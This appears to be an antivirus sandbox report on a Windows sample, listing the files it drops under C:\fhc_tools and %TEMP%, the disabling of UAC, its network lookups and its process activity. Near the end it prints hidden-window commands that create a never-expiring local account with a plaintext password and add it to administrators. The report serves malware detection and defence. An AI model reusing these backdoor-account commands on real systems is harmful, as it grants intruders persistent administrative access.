Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Modifies file system
Creates the following files
- %TEMP%\auta4c6.tmp
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\fhc support tools\admin\disable debug.lnk
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\fhc support tools\admin\view debug.lnk
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\fhc support tools\admin\view log.lnk
- %TEMP%\autc4d4.tmp
- %TEMP%\fhcid_lang.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\fhc support tools\center identification.lnk
- %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\0x139kl3\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\hjp7gbbl\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\ce8tiu3c\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\hcrcke2t\desktop.ini
- %APPDATA%\microsoft\windows\cookies\low\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
- %TEMP%\autbfca.tmp
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\fhc support tools\admin\enable debug.lnk
- C:\fhc_tools\admin\view_tivoli_log.exe
- %TEMP%\autbf9b.tmp
- C:\fhc_tools\admin\view_tivoli_debug_log.exe
- %TEMP%\auta9e6.tmp
- C:\fhc_tools\fhc_identification.exe
- %TEMP%\autb730.tmp
- C:\fhc_tools\admin\isadmin.exe
- %TEMP%\autb9b0.tmp
- C:\fhc_tools\admin\baretail.exe
- %TEMP%\autbb76.tmp
- %TEMP%\aut2ec0.tmp
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
- C:\fhc_tools\fhcid.ico
- %TEMP%\tivoli_log_tools_deploy.exe
- %TEMP%\autbecc.tmp
- %TEMP%\autbefc.tmp
- C:\fhc_tools\admin\enable_besclientdebug.exe
- %TEMP%\autbf2b.tmp
- C:\fhc_tools\admin\disable_besclientdebug.exe
- %TEMP%\autbf5b.tmp
- %TEMP%\weblang.ini
- %TEMP%\autbd0c.tmp
- %TEMP%\fhclist.csv
Sets the 'hidden' attribute to the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\0x139kl3\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\hjp7gbbl\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\ce8tiu3c\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\hcrcke2t\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
Deletes the following files
- %TEMP%\auta4c6.tmp
- %TEMP%\auta9e6.tmp
- %TEMP%\autb730.tmp
- %TEMP%\autb9b0.tmp
- %TEMP%\autbb76.tmp
- %TEMP%\autbd0c.tmp
- %TEMP%\autbecc.tmp
- %TEMP%\autbefc.tmp
- %TEMP%\autbf2b.tmp
- %TEMP%\autbf5b.tmp
- %TEMP%\autbf9b.tmp
- %TEMP%\autbfca.tmp
- %TEMP%\autc4d4.tmp
- %TEMP%\aut2ec0.tmp
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK fa####search.org
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '%TEMP%\tivoli_log_tools_deploy.exe'
- 'C:\fhc_tools\fhc_identification.exe'
- '%WINDIR%\syswow64\cmd.exe' /C net user fchhqsupport RedeemtheD3ad! /add /expires:never /passwordchg:no' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C net localgroup administrators fchhqsupport /add' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C net user fchhqsupport RedeemtheD3ad! /add /expires:never /passwordchg:no
- '%WINDIR%\syswow64\net.exe' user fchhqsupport RedeemtheD3ad! /add /expires:never /passwordchg:no
- '%WINDIR%\syswow64\net1.exe' user fchhqsupport RedeemtheD3ad! /add /expires:never /passwordchg:no
- '%WINDIR%\syswow64\cmd.exe' /C net localgroup administrators fchhqsupport /add
- '%WINDIR%\syswow64\net.exe' localgroup administrators fchhqsupport /add
- '%WINDIR%\syswow64\net1.exe' localgroup administrators fchhqsupport /add
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\syswow64\WININET.dll",DispatchAPICall 1
